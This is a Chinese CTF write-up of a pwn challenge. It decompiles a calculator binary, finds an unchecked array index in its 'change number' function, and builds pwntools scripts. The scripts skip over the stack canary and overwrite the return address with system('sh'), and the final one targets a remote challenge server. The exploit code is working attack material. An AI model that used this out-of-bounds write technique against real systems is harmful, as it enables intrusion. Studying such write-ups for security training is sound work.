下载附件拖进ida之后观察main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| int __cdecl main(int argc, const char **argv, const char **envp) { int v3; unsigned int v5; unsigned int v6; int v7; unsigned int j; int v9; unsigned int i; unsigned int k; unsigned int m; char v13[100]; unsigned int v14;
v14 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); v9 = 0; puts("***********************************************************"); puts("* An easy calc *"); puts("*Give me your numbers and I will return to you an average *"); puts("*(0 <= x < 256) *"); puts("***********************************************************"); puts("How many numbers you have:"); __isoc99_scanf("%d", &v5); puts("Give me your numbers"); for ( i = 0; i < v5 && (int)i <= 99; ++i ) { __isoc99_scanf("%d", &v7); v13[i] = v7; } for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"); __isoc99_scanf("%d", &v6); if ( v6 != 2 ) break; puts("Give me your number"); __isoc99_scanf("%d", &v7); if ( j <= 0x63 ) { v3 = j++; v13[v3] = v7; } } if ( v6 > 2 ) break; if ( v6 != 1 ) return 0; puts("id\t\tnumber"); for ( k = 0; k < j; ++k ) printf("%d\t\t%d\n", k, v13[k]); } if ( v6 != 3 ) break; puts("which number to change:"); __isoc99_scanf("%d", &v5); puts("new number:"); __isoc99_scanf("%d", &v7); v13[v5] = v7; } if ( v6 != 4 ) break; v9 = 0; for ( m = 0; m < j; ++m ) v9 += v13[m]; } return 0; }
|
并未发现明显的漏洞利用点,没有像之前read这样的明显栈溢出
后来观察发现这里存在一个v13数组的边界溢出,并且checksec发现存在canary,不能进行简单粗暴的溢出
1 2 3 4 5 6 7
| if ( v6 != 3 ) break; puts("which number to change:"); __isoc99_scanf("%d", &v5); puts("new number:"); __isoc99_scanf("%d", &v7); v13[v5] = v7;
|
序号为3的change功能这里并未对v5进行检查,导致我们可以任意输入v5进行栈溢出修改,这样就可以控制溢出的位置,绕过canary,同时看到有后门函数hackhere
1 2 3 4
| int hackhere() { return system("/bin/bash"); }
|
一眼看成/bin/sh,仔细一看发现是bash(lol),但是问题不大,我们可以自己传参数
既然是要用changenumber功能来修改数组之外的内存,我们就需要计算返回地址和v13的偏移
ida中可以看到这个
char v13[100]; // [esp+38h] [ebp-70h]
那么ret地址我们就直接当作ebp+4,所以偏移是0x74
然后我们找出需要的地址:
system:0x08048450
sh:0x08048987
然后注意传参顺序,写出这样的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import* context(arch='amd64',os='linux',log_level='debug')
def change(addr,num): p.sendlineafter("5. exit","3") p.sendlineafter("which number to change:",str(addr)) p.sendlineafter("new number:",str(num))
p=process("./canary")
p.sendlineafter("How many numbers you have:","1") p.sendlineafter("Give me your numbers","1")
offset=0x74
system_addr=0x08048450 sh_addr=0x08048987
change(offset,0x50) change(offset+1,0x84) change(offset+2,0x04) change(offset+3,0x08) offset=offset+8 change(offset,0x87) change(offset+1,0x89) change(offset+2,0x04) change(offset+3,0x08) p.sendlineafter("5. exit","5") p.interactive()
|
但是并打不通,查阅网上师傅们的wp得知偏移地址有问题,应该是0x84,那这里就试着调试看看
先看到这一段汇编:
根据汇编得知v13的首地址会存放在ax中,那么当程序运行到0x080486D5的时候ax寄存器中存放的就是v13数组的首地址
而main endp的上方有retn,可以得知返回地址会存放在sp栈顶中
先在0x80486d5(mov [eax], cl)打断点,观察到如下:
这里eax记录了v13数组的首地址为0xffffcf68
接着在ret的位置(0x080488F2)打断点,观察如下:
这里esp记录了返回地址0xffffcfec
计算得知,偏移offset = 0xffffcfec - 0xffffcf68 = 0x84
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import* context(arch='amd64',os='linux',log_level='debug')
def change(addr,num): p.sendlineafter("5. exit","3") p.sendlineafter("which number to change:",str(addr)) p.sendlineafter("new number:",str(num))
p=remote("61.147.171.105","52412")
p.sendlineafter("How many numbers you have:","1") p.sendlineafter("Give me your numbers","1")
offset=0x84
system_addr=0x08048450 sh_addr=0x08048987
change(offset,0x50) change(offset+1,0x84) change(offset+2,0x04) change(offset+3,0x08) offset=offset+8 change(offset,0x87) change(offset+1,0x89) change(offset+2,0x04) change(offset+3,0x08) p.sendlineafter("5. exit","5") p.interactive()
|
学到的东西
1、system里面直接可以传sh,这样也可以获取shell
2、一种新的溢出方式,数组边界的溢出
3、直接利用题目里的change function绕过canary
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !